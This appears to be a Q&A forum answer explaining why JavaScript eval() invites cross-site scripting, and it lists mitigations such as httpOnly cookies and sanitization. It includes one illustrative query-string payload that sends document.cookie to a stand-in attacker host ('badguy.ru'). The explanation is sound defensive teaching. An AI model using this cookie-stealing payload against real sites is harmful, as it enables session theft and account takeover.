Is Javascript eval() so dangerous? [duplicate]

You’re right that an end user can easily execute arbitrary JavaScript anyway via the browser’s developer console (I do this all the time). What you have to worry about is an attacker hijacking your feature that uses eval for his own ends.

The reason eval is generally considered dangerous is because it is very easy for untrusted code to sneak in. Consider a page that allows you specify input via query string, where the input box is prepopulated with the value in the query string.

An attacker could spread a link that contains code which steals a user’s login cookie:

/some/url?amount=var i=new Image();i.src="http://badguy.ru/x?" + document.cookie;

(Obviously proper URL encoding is required; this is for illustration.)

Or, perhaps your PHP script echos posted data back into your form when validation fails. An attacker could create a specially crafted form that posts to your form with the same cookie-stealing code.

Each of these attacks can be mitigated by using httpOnly cookies (to prevent stolen login cookies) or making sure that data is sanitized – but the point is this isn’t even close to an exhaustive list of how things can go wrong. For example, an injected script could still insert 1000 in the amount field and try to transfer that amount to the attacker’s account (if this is a money transfer page).

Even given the fact that you’re using a regex to sanitize input doesn’t necessarily protect you: it’s possible to write arbitrary JavaScript entirely with brackets!

So the bottom line is that if you can make absolutely sure that the only way input makes its way into your text field is via user input, you’re fine: the user hasn’t gained anything they wouldn’t be able to do otherwise via the console. However, if an attacker can somehow get their own data into that field, evaling it may expose you to a vulnerability.

See also:

Leave a Comment